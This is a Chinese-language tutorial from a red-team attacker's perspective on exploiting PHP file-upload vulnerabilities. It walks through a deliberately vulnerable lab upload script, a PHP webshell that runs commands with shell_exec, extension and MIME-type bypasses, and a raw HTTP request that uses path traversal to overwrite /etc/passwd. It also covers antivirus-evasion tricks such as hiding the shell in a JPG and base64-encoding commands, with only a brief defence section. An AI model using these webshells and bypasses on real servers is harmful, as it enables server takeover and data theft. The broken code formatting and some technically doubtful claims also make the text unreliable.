一、文件上传漏洞背后的秘密

文件上传功能,是现代 Web 应用不可缺少的一部分。无论是头像上传、文件存储,还是复杂的大文件管理,这一功能无处不在。然而,正因为文件上传涉及到直接与服务器的交互,如果开发者对输入验证、文件处理逻辑掌控不严,则可能为攻击者打开一个致命的后门。

从攻击者的视角来看,文件上传漏洞是一个颇具价值的攻击点。它不仅可以帮助我们完成 WebShell 上传,获得初始权限,甚至还能作为通往深层内网的入口。今天,我们将深入探讨文件上传漏洞的成因、利用方式,以及如何绕过常见的防护手段。

黑客示意图

---

黑客示意图

二、漏洞成因:从代码逻辑到服务器配置不当

文件上传漏洞的出现,总是有迹可循。以下是常见的几个问题:

1. 缺乏文件扩展名验证

很多开发者用户上传的文件时,仅检查文件名的扩展名,例如是否是 .jpg.png 等头部格式。然而,攻击者可以伪造文件名,比如上传文件名为 shell.jpg,实际内容却是一个 PHP 后门。

举例代码: <pre><code class="language-php">if (isset($_FILES[&#039;file&#039;])) { $file_type = pathinfo($_FILES[&#039;file&#039;][&#039;name&#039;], PATHINFO_EXTENSION); if ($file_type == &quot;jpg&quot; || $file_type == &quot;png&quot;) { move_uploaded_file($_FILES[&#039;file&#039;][&#039;tmp_name&#039;], &quot;/upload/&quot; . $_FILES[&#039;file&#039;][&#039;name&#039;]); } }</code></pre> 这种简单的检查完全不够安全。

2. MIME 类型检查漏洞

部分开发者会尝试通过检查 MIME 类型来进行防护,但是 MIME 类型可以被伪造。例如,攻击者可以通过修改 HTTP 请求中的 Content-Type,让服务器误以为上传的文件是图片或其他无害文件。

3. 文件路径处理不严

如果上传目录没有正确限制,攻击者可能会通过路径穿越(Path Traversal)上传恶意文件到服务器的任意位置,甚至覆盖关键系统文件。

---

三、搭建漏洞环境:实验室里的服务器

在实战中,我们需要一个文件上传功能存在漏洞的实验环境。本教程中我们使用了 PHP 搭建一个简单的文件上传平台,并且故意在代码中遗留了漏洞。

环境准备

  • 操作系统:Kali Linux 或 Ubuntu
  • Web 服务器:Apache + PHP
  • 数据库:可选 MySQL(存储上传的文件信息)

搭建步骤

  1. 安装 Apache 和 PHP
  2. <pre><code class="language-bash"> sudo apt update sudo apt install apache2 php -y `

  1. 创建 Web 上传页面
  2. 新建文件 /var/www/html/upload.php,内容如下: `php &lt;?php if ($_SERVER[&#039;REQUEST_METHOD&#039;] == &#039;POST&#039;) { $upload_dir = __DIR__ . &quot;/uploads/&quot;; $file_name = $_FILES[&#039;file&#039;][&#039;name&#039;]; $tmp_name = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; move_uploaded_file($tmp_name, $upload_dir . $file_name); echo &quot;File uploaded successfully: &quot; . $file_name; } ?&gt; &lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt; &lt;input type=&quot;file&quot; name=&quot;file&quot;&gt; &lt;button type=&quot;submit&quot;&gt;Upload&lt;/button&gt; &lt;/form&gt; `

  1. 设置目录权限
  2. 确保 uploads 目录可写: `bash mkdir /var/www/html/uploads chmod 777 /var/www/html/uploads `

至此,一个漏洞百出的文件上传平台就搭建完毕。

---

四、攻击实战:从文件上传到服务器控制

现在我们开始利用目标文件上传漏洞,逐步控制服务器。

1. 上传 WebShell

我们的第一个目标是上传一个简单的 PHP WebShell。创建一个名为 shell.php 的文件:</code></pre>php <?php if (isset($_GET['cmd'])) { echo shell_exec($_GET['cmd']); } ?> <pre><code>攻击步骤:

  1. 使用 Burp Suite 截取上传请求。
  2. 修改文件名为 shell.jpg
  3. 上传文件后,通过 URL 访问 WebShell,例如:
  4. ` http://target/upload/shell.jpg?cmd=whoami `

2. 绕过文件类型限制

如果服务器检查文件扩展名或 MIME 类型,我们可以尝试以下绕过方式:

  • 双后缀文件名:上传文件名为 shell.php.jpg
  • 伪造 MIME 类型:使用 Burp Suite 修改 Content-Typeimage/jpg

3. 利用路径穿越

如果目标服务器存在路径穿越漏洞,我们可以尝试上传文件到有价值的目录,比如 /var/www/html/. 修改上传请求中的文件路径:</code></pre> POST /upload.php HTTP/1.1 Host: target Content-Type: multipart/form-data; boundary=----WebKitFormBoundary Content-Length: 123

------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="../../../../../../../etc/passwd" Content-Type: text/plain

root:x:0:0:root:/root:/bin/bash ------WebKitFormBoundary-- <pre><code> ---

黑客示意图

五、强化免杀:让恶意文件更隐蔽

为了绕过更高级的检测机制(如 EDR、AV),我们需要对 WebShell 或其他载荷进行免杀处理。

1. 使用图片掩盖 PHP Shell

将 PHP 代码嵌入图片文件中:</code></pre>bash cat shell.php >> harmless.jpg <pre><code>上传文件后,服务器会处理为图片,但实际上 PHP 代码仍然可以被执行。

2. 加密和解密代码

在 PHP WebShell 中加入简单的加密逻辑:</code></pre>php <?php $key = 'secret'; if (isset($_GET['cmd'])) { $cmd = base64_decode($_GET['cmd']); echo shell_exec($cmd); } ?> <pre><code>访问时,需要将命令编码为 Base64。例如:</code></pre> http://target/upload/shell.php?cmd=YmFzaCB4bHM= `

---

六、防御:从开发到运维的双重加固

虽然本文聚焦于攻击,但对漏洞的防御同样至关重要。以下是一些简单的建议:

1. 文件验证

  • 使用白名单验证,例如仅允许 .jpg.png
  • 检查文件内容,如图片的头部信息是否符合规范。

2. 目录隔离

  • 将上传目录与 Web 根目录隔离,避免直接访问。
  • 禁止执行上传目录中的文件。

3. 严格路径处理

  • 阻止路径穿越的可能性,限制上传目录为固定路径。

---

七、经验总结:让攻击更具艺术性

黑客示意图

文件上传漏洞的利用是一门精细艺术。攻击者不仅需要充分了解漏洞的成因,还要具备绕过检测机制的能力。通过优秀的工具(如 Burp Suite、Metasploit)的结合,配合自制脚本,漏洞的攻击效率能够进一步提高。

作为红队人员,我们的目标不仅是攻破系统,更是理解攻破背后的逻辑。只有掌握了漏洞的本质,才能在实战中做到无懈可击。